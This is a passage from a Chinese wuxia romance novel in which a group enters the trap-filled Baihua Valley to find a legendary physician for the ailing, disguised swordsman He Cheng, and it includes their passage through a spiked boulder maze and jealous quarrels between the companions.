“多谢。”钟晓拧着眉头思索片刻,还是决定租车前往百花谷,与老板约定了两个时辰后在镇口的小石桥旁取车。 既然马车进不了山谷,他们便带不了多少东西。买了必备的药物和干粮,钟晓和金波在市集上草草逛了一圈,又添置御寒衣物、火折子、绳索一类进山要用的东西,便返回客栈与陆晓怜会和。 金波叼着根糖葫芦,边走边问钟晓:“修车铺老板说百花谷那么凶险,你们真的还是要去吗?” 钟晓说:“沈兄几次旧伤复发都是为了救我师姐,我们自然不能放任他不管。不仅南州城里的大夫让我们来找神医,连五毒谷的南婧前辈也束手无策,让我们来找神医,可见沈兄的情况确实棘手,我们就不必浪费在镇子里的大夫身上,早一日找到神医,就能早一日治好沈兄……” “早一日治好沈大哥,便能早一日与他分道扬镳,让他和晓怜姐姐没机会谈情说爱,对不对?”金波打断他,把他藏在恩义之下的小算盘揪了出来。 钟晓脸色一沉,被气得说不出话:“你——” “你当真是这样想的?”金波好奇地看着他,半天等不到他回话,她拿肩膀撞了撞被她气得闷不吭声的人,“喂,你是不是喜欢晓怜姐姐啊?不然怎么那么不高兴她跟沈大哥走得近?” “你胡说什么!”钟晓脸色更黑,“你被关在深闺之中,充耳不闻外面的事情,自然不知道,我师姐和我贺师兄青梅竹马一起长大,是江湖上人人称道的金童玉女。如今师兄不在,这个沈兄竟然想如此乘虚而入,实在卑鄙!” 金波确实不知内情,可一路上也断断续续地听人提过“贺承”这个名字,她追着钟晓问贺承相关的事情。 听罢,她耸了耸肩膀:“你那个贺师兄心里若是有晓怜姐姐,哪怕只剩一口气,也该给她传个信!这么长时间音信全无,我觉得无论是旁人追求晓怜姐姐,或者是晓怜姐姐想另觅良人,都无可厚非!” 钟晓气恼地瞪着她,却想不出半句能反驳她的话。 金波浑然不觉身边的人已经气得要炸开,继续说下去:“别说沈大哥了,我觉得便是你此刻想追求晓怜姐姐,也没有什么不可以的。” 钟晓不可置信地瞪大了眼睛,更生气了。可他素来讲规矩,连架都不会吵,瞅了她手里的糖葫芦一眼,捏着她的手腕举起糖葫芦塞进她嘴里,严严实实堵住她那张叭叭乱讲的嘴。 钟晓与金波回到客栈时,贺承和陆晓怜也已经收拾完了东西。 出发前,钟晓背着贺承,把从修车铺老板那里打听来的与百花谷有关的消息告诉陆晓怜,果然如他所料,陆晓怜并不会因此动摇去百花谷找神医救人的想法,只是提醒他,这些消息不能让贺承知道。 金波与他们牵扯不深,他们就算是救过她,也不过要是救陆晓怜时顺手解了人家捆她的绳索罢了。既然此去凶险,自然不必把她牵扯其中,陆晓怜让钟晓给她备了一些银子供她之后路途花销,启程前往百花谷时,并未带上她。 小溪镇到百花谷外山脚下,不过一个多时辰的车程。 偏偏是这短短一个时辰,贺承的病情突然愈发严重起来。他倚着车窗闭眼小憩,陆晓怜与他同在车厢里,一路也并未觉得不妥,到达山脚下车时,他眼前一黑,竟从车上摔了下来。 幸而这一路,陆晓怜的一双眼睛几乎长在他身上,觉察不对,立即飞身过去,将短暂昏厥过去的人稳稳护住。 贺承晕得悄无声息,却引来了几个在百花谷外摆着小摊的赤脚大夫。 会来百花谷求医的人大多已是走到末路,孤注一掷,他们在此处摆摊,倒是真找对了地方。四五个人围上来,帮着钟晓将贺承扶到树下一块收拾得干干净净的青石台子上,排着队,轮着给贺承把脉。 这四五个人一人把过一轮脉,便将病人放在一边,各自掏出颜色各异的小瓷瓶,围着钟晓和陆晓怜七嘴八舌地卖起药来—— “这位公子气亏血败,情况实在很危险,我这里有益气补血的大力增益丸……” “二位,你们都千里迢迢到百花谷外了,总得让病人吊着一口气,见到神医吧!你们看看我这八宝续命丹……” “进百花谷危机四伏,我这乌金续命散,不仅病人用得上,有个什么万一,二位也用得上,最好多备一些……” 钟晓和陆晓怜被这群人叽叽喳喳吵得一个头两个大,晕头转向之际,人群之外忽然响起一个硬邦邦的声音:“喂!趁我和阿越不在,你们又出来坑蒙拐骗了?” 这人声量很大,气势很足,清喝一声,将钟晓和陆晓怜团团包围的江湖游医做鸟兽散,他们终于看见来人模样。 原来来的是与贺承、钟晓年纪相仿的两个青年人。 两人并肩而立,一个穿着一身灰色衣裳,身材高大,肩膀宽平,腕上绑着束修,显得勇武利落,这大概便是刚刚出声的人;另一人穿一身蓝色布袍,身量也很高挑,身形却明显瘦弱一些,看上去文质彬彬的,这大概便是那个灰衣衫的人刚刚提到的“阿越”。 钟晓上前一礼,说明要去百花谷求医的来意。 那身材高大的青年朝钟晓微微颔首:“他们都是些卖丹药的赤脚大夫,不足为信。你们真想看病,倒不如让我家阿越瞧瞧。” 那位阿越客客气气地朝钟晓还了礼,道:“我也只是略通岐黄之术,病人在何处?若不介意,我先替他把个脉瞧瞧。” 钟晓退开半步,露出坐在青石台上的贺承。 贺承只是高热之下太过虚弱,短暂昏厥了片刻,此刻已经醒转过来,坐在青石台上,倚着临近的一棵树干,偏着头一阵接一阵地闷声咳嗽。 那个叫阿越的大夫被钟晓引过来,伸手抵着贺承腕上寸关,眉头渐渐拧起来,喃喃自语:“不应该啊?经脉 毁损到这个地步,他不仅活着,还能动,怎么会这样?“便说着,他指尖加了几分力道,细细思忖片刻,眉心兀地一跳,错愕抬头看着贺承:“你,你竟然在几处大穴上埋了……” 南州城里白发苍苍的大夫说贺承经脉受损,确有此事,五毒娘子南婧说贺承不仅经脉受损,身上还带着毒,此事也不假,但他们都只说对了一半,他们都没诊出来的凤尾续魂针,竟被百花谷外连个摊子都没有的年轻人诊了出来! 头疼欲裂,正闭着眼小憩的贺承闻言睁开眼来,寒星般的目光投射而来,将阿越大夫说了一半的话打断在了喉舌之间。 贺承揉着跳痛的额角,声音低哑:“是,我之前受过重伤,幸得高人相助,在我身上几处要穴上施针,不仅保下一条命,还令我行动自如。” 阿越大夫是聪明人,贺承一眼扫过来,他便知他是不希望同行的朋友知道自己真实伤情,顺着他的话说下去:“虽当时保全一命,日深夜久,伤势难免反复,要根治,确实还是要入谷碰碰运气,只是——” 他顿了一顿,深深看了贺承一眼:“百花谷机关重重,你们一定要去吗?” 贺承来不知内情,愣了一愣,陆晓怜忙抢过来回答:“一定要去!” 阿越大夫点点头,回头看向与他同来的那位灰衫青年,声音清亮地喊道:“戎哥,这位公子伤及经脉脏腑,我确实治不了,可他近日还受了凉,寒邪入肺,倒是可以去百花潭药泉碰碰运气,只是他伤势危重,贸然进山,不是很妥。” 这话把贺承他们听得云里雾里,“贸然进山,不是很妥”,这话难道不是在劝他们准备周全再进山吗?既然是劝他们,为什么他转头讲这话说于他的同伴听? 下一刻,他们便知道了答案—— 只见那灰衫青年往前迈了一大步,搭着蓝袍大夫的肩膀嘿嘿一笑:“知道了,我们陪他们走一趟碰碰运气就是。” —————— 这一日,一同进百花谷的便有五人。 那个勇武的灰衣人叫赵戎津,是那位热心大夫的邻居,而热心大夫,名叫齐越。齐越的父亲也是位大夫,他在百花谷外长大,很小便开始跟着父亲进谷采药。百花谷内机关重重,险象环生,他们遇见过许多来找神医的人,治好一些人,劝返一些人,也护着一些人进谷碰运气。 只是这么多年来,齐越和赵戎津并没有碰到过运气真的好到遇见神医的人,能在他们的帮助下,全须全尾从百花谷的机关中脱身,已经算是不容易。 一行人踏上进入百花谷的路,赵戎津和齐越熟悉地形,走在最前面带路,陆晓怜与贺承并肩而行紧紧跟在他们后面,钟晓持剑断后。 山谷里寂静无人,一行人踏过枯叶浅草的声音清晰可闻,与山间遥遥鸟鸣相应,倒有几分一群人去郊外渺无人烟处踏青的意趣。 这样一路无话地走着,说紧张也紧张,说无聊也无聊。 陆晓怜开口提问:“所以,你们几乎天天都与百花谷打交道,也没有见过神医吗?” 在最前面带路的赵戎津回应了她:“不仅是我们,也有不少人不听人劝,执意要进山,要往山谷深处去,丢了性命也没能遇见神医。” 钟晓想不通:“既然你们也没见过神医,你们要带我们去哪里?” 赵戎津看了齐越一眼,哈哈一笑:“我可不是带你们去找神医的!你们带着病人硬闯山谷,阿越放心不下,要跟进来,而山谷里危机重重,他手无缚鸡之力,我自然也放心不下,所以才要跟进来。” 齐越眉头微蹙:“你少说两句。” 赵戎津耸了耸肩,并不恼怒,低低嘟囔了声:“本来便是……” 话没说完,被齐越横过来的一记眼刀打断,他才不情不愿地闭了嘴。齐越尴尬地清咳一声:“我们其实也没有去过山谷深处,只是把外围的这圈机关摸了一遍罢了。我大部分时候也只是进到最外圈来采药罢了,只是有时来寻神医的人病得太重,一怕他们被困山谷里,二怕他们病情恶化无处求援,才会送他们一段。至于戎哥——” 他有些无奈,又有些骄傲,看赵戎津一眼:“山谷外围的这圈机关都是他这些年慢慢摸排出来的,有他带路,自然是更周全稳妥。” 听到这里,一直没说话的贺承开了口:“你说,你与你的父亲治好了一些来这里寻医问药的人?” 齐越点头:“有些人的病情虽然棘手,却在我父亲留下的医书里能找到解法,我也就顺手治了。” “为什么无人见过百花谷神医,神医的名声却远近闻名?”贺承淡笑着看齐越,“没活下来的人开不了口,能讲故事的人,都是经你救治的人,所以我猜,这些年大家口耳相传的百花谷神医,其实是你和你的父亲。” “怎么可能?”齐越愕然,愣了一愣,又急忙摇头,“不会的。我爹告诉我,百花谷里当真住着神医夫妇,当年我们举家住到百花谷外,就是为了守着他们。” 贺承又问:“那你爹见过神医吗?” “这……”齐越迟疑不决,“他倒是没有同我说起这个。” 贺承笑笑,再开口已是坦然:“若是连你爹都没见过神医,即便山谷当真住过神医,年深日久,如今他是否尚在人世,也不得而知。” 说到这里,他停下脚步,转头看看陆晓怜,又回头看看钟晓,道:“陆姑娘,钟晓兄弟,我与你们萍水相逢,你们送我到此,已经是仁至义尽。此行希望渺茫,山谷里又凶险异常,我随这两位朋友再往里走一段路瞧瞧,你们实在不必陪我冒这个险,我们就此别过,你们还是出山谷去吧。” “现在想回头?迟啦。”陆晓怜和钟晓还没应声,赵戎津先插话进来,“百花谷的第一道关,便是不归路。不信,你们回头看看?” 众人顺着赵戎津的目光转头回去看,只见他们来时踩过的路已经消失不见,他们身后是一片郁郁葱葱的树林,像是一只张着深渊巨口的怪物,将他们来时走过的那天黄泥小径吞得干干净净。 贺承脸色一沉:“这是要将所有人都困在这里?” 赵戎津摇头:“也不算,往前再走一刻钟左右,有一处巨石阵,过了巨石阵,有两条茬路,一条往山谷深处去,一条通向谷外。” 钟晓不解:“一会困着人,一会又给条出谷的路,这又是什么意思?” “是为了不让人进山谷深处。”在山里中穿行多时,贺承体力不济,声量也更低几分,幸而山林寂静,他的声音还是清晰可闻。他问赵戎津:“我猜,那处巨石阵应该不难破,也不算凶险,至少不至于取人性命,对不对?” 赵戎津惊讶:“你怎么知道?” 贺承偏过头去,闷闷咳了几声,哑声道:“百花谷凶险,想必在周边已是人尽皆知。” 说到这里,他顿了一下,深深看了陆晓怜和钟晓一眼。把怂恿钟晓一起欺瞒他的陆晓怜盯得有些心虚,贺承才移开目光,继续说下去:“来到这里的人必定已经听过了许多传闻,却还是要进谷试试。既然劝说无用,山谷主人索性先让来人吃点苦头,再给一条生路,若尚有后路,十有八九便不会再往山谷深处去了。” 钟晓恍然大悟:“所以山谷主人并非想取人性命,只是不想被打扰。” 赵戎津挑眉:“只能说目前……” 他的话只起了个头,却被吞噬来路的那片树林里传来的一阵窸窸窣窣的声响打断。陆晓怜与钟晓握住剑柄,将其他人护在身后,这是连赵戎津和齐越都不曾遇见过的情况,所有人紧紧盯着那片诡异的树林,不知会从里面闯出什么东西来。 却不料,树林里传来一声清脆的人声。 只听得“哎呦”一声,从树林里滚出来一个人。 那人身形娇小,穿一身靛蓝色衣裙—— 正是不久前刚刚与贺承他们在小溪镇告别的金波。 既是熟人,陆晓怜和钟晓收了剑。 钟晓问金波:“你怎么会在这里?” 金波一骨碌 从地上爬起来,边拍身上的灰,边说:“镇上车店的老板不是说百花谷很危险吗?你们之前救过我,我也想帮你们一把,就偷偷跟在你们后面也进来了。本想在我能帮得上忙的时候再现身的,没想到这么快就被你们发现了。” “嗯?”钟晓困惑不解,“若非你主动现身,我们并未发现你。” 金波眨眨眼:“什么?那你们刚刚突然停下来不走,回头看我做什么?” 钟晓尴尬地摸摸鼻子,朝她身后的那片林子抬了抬下巴:“我们不是在看你,是在看那片林子。” 金波顺着他的目光往后看。 那确实是密密麻麻的一片树林,她刚刚踩过的那条路,已经不见踪迹。 既来之则安之,没有路可以退到山谷外,金波便留下来与其他人一路同行,跟钟晓并肩走在最后。 按照时辰推算,贺承他们到达山脚下已经接近午时,走了这么长时间,早该是阳光盛大的正午,可越往前走,天色却越暗,像是暮色缓慢而沉重的压了下来。 天色擦黑时,他们眼前的路被两块巨石截断。 赵戎津和齐越停下脚步。赵戎津道:“这便是巨石阵的入口。两块巨石之间的甬道长约半里地,最窄时宽度不到一尺。距离虽不长,但穿行过程中,石壁上会随机探出削尖的石笋或射出碎石伤人,要注意闪躲。” 他抬头看看天色,摸出几枚火折子:“天色这么暗,也是百花谷里的阵法所致,越往里走,越不见光,得用上火。我建议两人为一组,两组人之间间隔一段距离,既然不会在躲避石笋和碎石时碰撞踩踏,又能互相照应。” 他边说边一把揽住齐越的肩膀:“我反正是要和我家阿越一起,我们走在最前面带路,你们看打算怎么安排。” 虽然赵戎津详细解释了,可没人见过这样的巨石,更不知阵法启动后,那伤人的石笋和碎石会怎么冒出来,一时说不出打算来。 彷徨犹豫间,陆晓怜弯腰在地上捡了一块黄泥丢进两块巨石间的甬道里去,只听见石笋破空和乱石飞掠的声响。那泥块先是被一根横生出来的石笋钉住,有被几枚石子接连打过,扑簌簌地掉落下来灰土。 贺承半眯着眼看着,被扬起的飞尘呛得连连咳嗽,哑声道:“碎石的力道不算大,石笋刺出的速度却很快,要更当心石笋,别被刺中了要害。” 陆晓怜拍拍手上的泥巴,安排起来:“甬道狭小,两个成年男子同行太过拥挤,我与沈烛一起,钟晓与金姑娘一起,最合适不过。” 巨石之间的甬道确实狭小,齐越骨架纤细,赵戎津对情况又熟悉,他们两人还能勉强挤一挤,而贺承虽然清瘦,肌肉骨骼却还是习武之人的精壮,与钟晓一组,各自都施展不开。至于陆晓怜和金波,则要考虑金波几乎不会武功,此刻的贺承自顾不暇,由钟晓来护着她更为稳妥。 总之,陆晓怜的安排合情合理,即便是越来越强烈地替他贺师兄鸣不平的钟晓,也挑不出毛病。 安排妥当后,大家两人一组,相隔一段距离,依次往里走去。走入巨石阵中,陡然一暗,外头微亮的天光被尽数隔阻在巨石阵外,四周皆是伸手不见五指的昏黑。 赵戎津点起火折子,在前头提示:“点上火折子往前走,石笋的伸缩都是有规律的,仔细观察,不要硬闯。” 确实是要仔细观察,特别是不能分心。 贺承拧着眉头盯着满壁的石笋,笋尖泛着锐利的光,脑子里有什么东西一闪而过。在他走神的片刻里,右侧石壁上斜斜刺出一根石笋来,幸而有人拉了他一把,堪堪避开。 陆晓怜紧紧握着他的手臂,担忧道:“怎么了?不舒服吗?” 第25章 第二十五章巨石阵钟晓好像越来越奇…… “没事。”贺承回过神来,眼尾余光扫过陆晓怜身后,出声道,“当心!” 出声提醒的同时,他伸手扣住陆晓怜的肩膀,猛然将她按入自己怀中。陆晓怜脚下踉跄,跌入他怀中的同时,只觉手臂上一凉,仓皇回头,却见一根石笋飞快擦过自己身侧,扯碎了一块布料,将那被撕碎的半截衣袖钉在石壁上。 那根石笋来势汹汹,尽管陆晓怜被护进怀里,未伤及要害,未及闪避开的右臂却还是被锋利的笋尖划破,渗出血色来。 甬道里几乎不透光,但借着手里的火折子,依旧可以看清眼前的景象,而且,陆晓怜今天穿了一身浅绿色的衣裳,手臂上的血涌出来,在浅色衣裳上扩散开来,分外刺眼。 贺承脸色阴沉,宽大的手掌抵着她的伤口,用力握住她的手臂。他又是自责又是心疼,声音压得很低:“疼吗?” 陆晓怜摇头:“皮外伤罢了,先离开这里。” 贺承点头,垂眸看了眼她腰间的横秋剑,道:“借用一下你的剑。” 剑客的剑轻易不离手,可他开口借剑却自然而然。 许是陆晓怜受伤令他失了定力,许是眼前险境惹他心乱如麻,也可能他其实没有忘记自己此刻应该是“沈烛”,只是借着满目昏黑的掩护,想要再做片刻“贺承”。 甚至没有等陆晓怜回应,像是笃定她一定会同意一般,贺承将手里的火折子递给她,伸手便去握横秋的剑柄。 下一刻,如水剑光刺破甬道里的黑。 横秋剑是已经仙逝的剑圣前辈打造的最后一柄宝剑,称得上吹毛断发、削铁如泥。这是贺承十五岁那年,在凤鸣山三年一度的比武大会上赢来的彩头。那时陆晓怜刚刚开始学剑,正缺一把趁手的佩剑,他转头就把这把天下人梦寐以求的宝剑送给了他那剑还拿不稳的小师妹。 凌云。 横秋。 两把剑的名字和他们的主人一样般配。 横秋剑,是除了凌云剑外,贺承最熟悉的一把剑。 即便是在狭小的甬道里,他也没有辜负横秋剑,剑气过处,石壁上那些突兀石笋被磨得锋利的尖端齐齐崩断,再不能刺破人的皮肉。 贺承一手护着陆晓怜汩汩冒血的伤处,一手持剑径直向前闯去。他自知体力难支,不耐久战,不求稳,只求快,借着陆晓怜手里的火折子,看清前路,遇见破空而出的石笋也不闪躲,果断手起剑落,砍掉半根石笋,揽着陆晓怜迅速擦身过去。 贺承这样蛮横地硬闯,不仅很快赶上了熟门熟路的赵戎津和齐越,也为后面的钟晓和金波扫除了不少障——那些被崩断尖锋、削减长度的石笋依旧敬业地起伏伸缩着,只要在甬道中侧身行进,便几乎不会被触碰分毫,至于那些无甚杀伤力的碎石,能挡便挡,不想挡,被投中一星半点也是无妨。 穿过甬道,又是一片晴好。 重新走入明媚光亮里,贺承眼前一花,微微眩晕,脚下一个踉跄,险些带着陆晓怜一起摔下去。幸而他手里有剑,以剑支地,勉强站稳了,眯着眼去看陆晓怜手臂上的伤。 陆晓怜左边手臂的衣袖破得厉害,剩下的那些没被石笋绞碎的布料湿漉漉地染着血。 被满目殷红一激,贺承心口猛地一绞,只觉眼前陡然发黑。 陆晓怜的伤看着可怖,其实只是皮外伤,贺承在甬道里及时给她按压伤口止血,连失血都不算多,她并不觉得有哪里不好。 发觉搂着自己的人浑身僵硬紧绷,像是一张拉满了弓,久久不能放松下来,陆晓怜才扯扯贺承的衣袖:“喂,我们出来了,我没事,你放松点。” 贺承低头,看着她因为失血而略显苍白面孔,不以为然地皱起眉头。 他的手臂依旧环过陆晓怜的肩膀,保持着将她揽在怀中的姿势,手掌紧紧抵在她左臂的伤口上,她伤口温热的血几乎要灼伤他的手掌:“忍一忍,齐越那里应该有伤药。” 陆晓怜乖巧地点点头,更往他怀里缩了缩 。 脱离险境,贺承已经迅速重新适应了“沈烛”的身份,面对陆晓怜突如其来的投怀送抱,错愕不已:“嗯?怎么了?” 陆晓怜可怜巴巴地抖了抖:“可能是失血太多了,我好冷。” 钟晓和金波从巨石间的甬道里出来,便看见一棵大树。午后的阳光从树叶的间隙落下来,在地上投出点点光斑,静谧美好,连倚着树干而坐的那一双人影,也闪闪发光,分外美好。 可是,为什么会有一双人影? 钟晓的眼睛适应了甬道外的光亮,仔细一看,只觉得有道惊雷而耳边炸开! 他的师姐陆晓怜好像是受了伤,正伸着一只手臂,由着齐越涂药包扎,而与此同时,她整个人,像只柔弱的小羊羔,又乖又软地缩在沈烛怀里! 怎么才走了半里路,他师姐就被居心叵测的沈烛搂到怀里去了! 钟晓快步过去,在他们面前站定,又不知道该开口说什么,踌躇片刻,干巴巴地问:“师姐,你受伤了?” 明知故问。 陆晓怜懒洋洋地点点头。 齐越包扎完伤口,顺口接话:“皮外伤,不要紧的。这几天伤口不要沾水,左手不要使力,一天换一次药,很快就能好。” 他交代这些事情时,看看陆晓怜说半句,又看着贺承说另外半句,俨然是将一人看作伤者,另一人看作伤者家属。 钟晓心里不痛快,却无处发作,他不能冲他师姐发脾气,也不能怪齐越搞不清状况,只能将所有问题归咎到沈烛身上,盯着他扣在他师姐肩膀上的手,恨不得把这姓沈的手指一根一根掰下来。 可还没等他掰断谁的手指,却见落在他师姐肩上的那只手收了回去,继而他听得一阵剧烈的呛咳和几人一齐低低惊呼的声音。 钟晓抬眼看去,只见令他咬牙切齿的人蜷着手掌抵在唇边,偏过头止不住地咳嗽。他咳得很厉害,清瘦的身子抖成狂风扫荡的树叶,几乎要坐不住,像是要将脏腑都咳出来一般,他额角浮起青筋,微微弓下身去,断断续续地呛出鲜红色的血沫。 到了后来,大概是实在没有力气了,剧烈的呛咳转为低弱的闷咳。他斜斜依靠着树干,气息散乱,单薄的胸口随着闷咳不时震动,唇边依旧丝丝缕缕地呛出零星血沫。 齐越刚刚收了伤药,又转头给贺承号脉,眉头越拧越紧:“沈公子近日可是在什么地方受了寒?寒邪入肺,已经拖了几日了,他体内又有旧伤积毒,能到此刻才发作,已是不容易。” 他轻拍贺承的肩,见贺承意识尚存,问他:“你觉得怎么样?” “累。”贺承咳得嗓子沙哑,确实是累极了,连话都懒得多说。 齐越伸手探了探贺承的体温:“还是烧得很厉害。这里药材短缺……” “我们有药的!”陆晓怜打断齐越,起身去抢了钟晓的包袱来,果然翻出一包药材出来。她把药材平铺开,目光清亮地看着齐越:“小齐大夫,你看看,有没有能用得上的?” 齐越翻了翻那些拿纸仔细分类包好的药材,点头:“确有几味药是能用上的。” 听到这里,一直没说话的赵戎津终于忍不住插话进来,不冷不热道:“你们不会想要在这里生火熬药吧?” “你着什么急?”齐越横了他一眼,对陆晓怜他们温声说,“此处确实不是休整的好地方,再往前走一段,有一处山洞,能遮风避雨,也能躲避山中猛兽,我们可以在那里过夜。”边说着,他边翻开针灸包:“现下,我先为沈公子扎几针,让他能好受些。” 在场只有齐越一个大夫,自然他说什么,便是什么。 陆晓怜蹲在一旁,目不转睛地盯着齐越将细长的银针寸寸刺入贺承的穴位里。她不敢打扰他,却又担心他误伤了贺承,小声提醒:“小齐大夫,他膻中、神阙这几处大穴上有伤,你施针时避着点。” “自然。”齐越边施针,便应她,“不仅是膻中、神阙,也不知道是谁把他伤成这样,连云门、灵墟……” “小齐大夫。”贺承出声打断齐越。 齐越年纪虽轻,医术却高,贺承觉得,他在山谷里外两次为自己把脉,不仅将他的身体状况摸了个清楚,大概也已经将他这一身伤的来由,猜出了七八分。当着陆晓怜和钟晓的面,贺承不想齐越细说这些,出声打断他,推说自己头疼得厉害,把话题引开了去。 齐越本是个聪明人,在百花谷外长大,本也见多了形形色色的病人,他当然知道贺承是什么意思,立即中止了话题,拈着银针,轻巧刺入头面的神庭、阳白等穴,不再多说贺承的伤势,只顾偏头问他:“这样可好些了?” 因为贺承的病和陆晓怜的伤,一行人在通过巨石阵后,停歇了半个多时辰。 虽有齐越诊治,可山谷里条件有限,贺承的身体又伤伐太重,不能立时恢复如常。赵戎津担心天黑前到不了休憩的山洞,不时催促大家上路,实在无计可施了,只好由钟晓背着贺承,尽快启程。 贺承顶着高热,昏昏沉沉地趴在钟晓背上,时昏时醒。 每次醒来,他都记得强提着力气跟赵戎津交代,到了能出谷的岔路口,要提醒陆晓怜和钟晓出谷去,可他终究是体力难支,每次清醒过片刻,又迷迷糊糊昏睡过去…… 这样不知过了多久,贺承在一抹摇晃的光亮下睁开眼来,竟发现自己裹着一条毯子躺在一处山洞里。 山洞里生了火,烘得四下红彤彤暖融融。 他缓缓侧过身,想撑坐起来,稍一动作,便听见陆晓怜欣喜的声音:“你醒啦!” 贺承正面向火光的方向,一眼看见守着火堆的钟晓。钟晓听见这边的动静,抬眼看过来,目光有些复杂,他看看贺承,又看着陆晓怜,脸上浮起一种类似焦虑不耐的神情,一声不吭地低下头继续拨弄火堆。 贺承脑子里只有两个问题—— 陆晓怜和钟晓怎么还没有出谷? 还有,钟晓这反应是什么意思? 第26章 第二十六章彻谈我不该心生妄念。…… 这处山洞被收拾得很干净,贺承醒来时,甚至是躺在一张枯枝和干草垫支起的矮榻上的。 陆晓怜扶着贺承起来,靠着石壁坐着,三言两语说明了当下的情况。 赵戎津和齐越频繁进出百花谷,常常赶不及在天黑前出去,这里便是他们之前进山时收拾出来的落脚地。赵戎津说,越往山谷深处走,情况越是复杂,天黑后不宜行进,这处山洞临近水源,洞里也备着御寒的毯子,大家最好在这里歇一晚。 贺承眉头紧锁,关心着另一个问题:“已经经过出谷的岔路了吗?你们怎么还没出谷去?” 听他这样问,钟晓猛然抬头开了这边一眼,却什么也没说,又闷闷不乐地低头拨弄柴火去了。 倒是陆晓怜早有准备:“我们确实路过了赵戎津说的那个岔路口,可那条路也被堵死了!不知道会不会是我们今日硬闯巨石阵,触发了什么机关,那条路上竟然多了一块巨石拦路。”她无奈耸肩:“总之,出谷这条路是被堵死了。我们也算同生共死过许多回了,你别想着要支走我!” 贺承皱着眉头看陆晓怜。 她雪白的面孔被山洞里的火光染上一层明媚的暖黄,那双浑圆明亮的杏眼映着莹莹火光,漂亮极了。看上去,她明明是很认真很坦诚地同他说着这些事情,可焰火跳跃,连带着她眼睛里的光也是摇曳的,将她的心虚躲闪放大了出来。 洞穴空荡,柴火在高温中爆裂开,噼里啪啦的声响来来回回撞击着石壁,有种荒凉寂寥与喧嚣热闹同时被囿于一室之内的荒谬。 在这种奇异矛盾中,贺承沉默半晌,开始抵着唇闷声咳嗽。 他边咳边看火堆旁的钟晓,哑着嗓子对陆晓怜说:“能不能帮我去找点水?” 病人提出这样的要求,陆晓怜无法拒绝。 可这回,她没有支使钟晓出去找水, 而是自己走到火堆旁边去,闷头翻了个罐子出来,凑到钟晓耳边,凶巴巴地小声说了些什么,才一步三回头,百般不放心地往山洞外面走去,亲自出去打水。 钟晓又不是什么猛兽,还能把一个大活人生吞活剥了不成? 贺承拧着眉头,想不明白陆晓怜究竟在担心什么?待窸窸窣窣的脚步声远了,他朝钟晓招招手:“钟晓,你能不能过来?我有事想问问你。” 自贺承醒来,不仅陆晓怜不对劲,钟晓也不大对劲。 比如此刻,他显然不想理贺承,自顾自低着头翻动火堆里的枯枝,反正他们之间隔了段距离,反正贺承气弱声微,他且装做没有听见。 贺承没有办法,掀开毯子,从矮榻上下来,想走过去。 此前的二十多年,他一贯身强体健,还不大适应虚弱至此的身体,脚下一软,径直跌下去,不知摔到了什么地方,按着心口伏在地上,又接连呛了几口血出来。 钟晓一直在生这人和陆晓怜的气,却也不是铁石心肠,虽然嘴上说着沈烛横刀夺爱死有余辜,可亲眼见他跌倒在地不住咳血,钟晓堵在胸口的怒意登时被惊惧死死压了下去,起身快步过来,将人扶回榻上。 贺承借机扣着钟晓的手腕不让人走。他咳得脸色泛红,嘴唇发紫,气息不稳,勉强开口说话,却是语气无奈地问他:“我怎么得罪你了吗?” 钟晓不知如何回话,只愤愤瞪他,冷哼一声,并不言语。 贺承摸摸鼻尖,换个问题:“那你是跟陆姑娘吵架了?” 钟晓冷着脸:“关你什么事?” 贺承试探着开口:“应该是有关的吧?你们是为了我吵架的,是不是?” “你——” 贺承一语中的,钟晓像是炸了毛的猫咪,霎时怒意升腾:“是是是,是为了你!我师姐现在满心满眼都是你,你满意了吧!她为了你,不惜——”说到这里,钟晓想起了什么,戛然顿住,抿紧了嘴不肯继续说下去。 贺承眉心一跳,追问:“她为了我,不惜什么?” 钟晓轻哼一声,转开脸去不搭理他,重新恢复沉默。 “她不让你告诉我?”贺承眯着眼回想,眸光微闪,“她走前凑到你耳边,就是在警告你,不许把这件事告诉我,对不对?” 钟晓油盐不进,继续一声不吭装鹌鹑。 “你倒是听你师姐的话。”贺承闷咳着轻笑,叹了口气,轻轻摇头,“究竟发生了什么事情,即便你不肯说,金波那个小丫头心无城府,等她回来,我稍微哄一哄也便知道了。只可惜,我有些与你师兄相关的消息,原本是想与你交换着说来听听的,既是如此,便算了吧。” 狡诈的渔夫慢悠悠在钩子上挂上鱼饵,果然立刻有鱼咬钩。 钟晓抬头看过来:“什么消息?” 这回轮到贺承三缄其口,轮到钟晓急得跳脚。他瞪着优哉游哉的贺承,半天挤出一句:“其实也不算是什么大事,我师姐待你的好还不够明显吗?她当真以为,我不说,你便猜不出来,她是怎么留下来的了?” 贺承并不应声,微微挑眉,等着他继续说下去。 钟晓硬着头皮说下去:“也不知道你究竟给她灌了什么迷魂汤,出了巨石阵,经过出谷那条路的时候,明明可以出去的,可她一定不愿意走。” 贺承当然知道,他们本是可以出谷的,什么巨石堵路的话都是陆晓怜信口胡诌拿来搪塞他的。他并不精通奇门遁甲,偏偏进谷时的那处巨石阵他勉强认得,强破阵法,致使巨石拦路,本是无稽之谈。 “你想走,她想留,然后你们就吵架了?” 看着面前人的风轻云淡,钟晓只觉得更生气:“你别得意!她,她就是一时受你蛊惑,鬼迷心窍,她从青山城出来,就是为了找师兄,为了给师兄洗脱罪名,她与师兄自小青梅竹马一起长大,她是不可能背叛师兄,喜欢上你的,你尽早死了这条心吧!” 钟晓这话说得倒是没错,他的小师妹自小就是跟着他满世界跑的小尾巴,没道理会对一个名不见经传的无名小卒青眼有加。 贺承看着为自己愤愤不已的钟晓,又是感动,又是好笑,也不知道该由着他生气,还是该怎么劝劝他,沉默了片刻,干巴巴地问:“就是因为她不愿意出谷,你跟她怄气,一直气到现在?” 钟晓撇了下嘴角。 他本不想说得太多,让沈烛太过得意,可他被气得昏了头,忍不住还是将路过那条岔道时的场景原原本本地描述出来。 彼时他们出了巨石阵,稍作休整,重新启程。钟晓背着昏昏沉沉的“沈烛”,陆晓怜一路亦步亦趋地跟着,像是护着一件珍贵的瓷器一般,怕钟晓在搬运过程中磕了碰了。 钟晓也说不上,自己的不快,更多来源于陆晓怜对自己的不信任,还是更多来源于陆晓怜对沈烛显而易见的牵挂。 明明,这独一份的牵挂,之前一向都是属于贺师兄的。 眼看着贺师兄捧在手心里护了这么多年、宠了这么多年的晓怜师姐,背着他,对一个来路不明、萍水相逢的男人殷勤至此,钟晓都替他贺师兄心寒。 这种心寒的感觉是在岔路口与陆晓怜对峙时,横秋剑出鞘的刹那达到顶峰的。 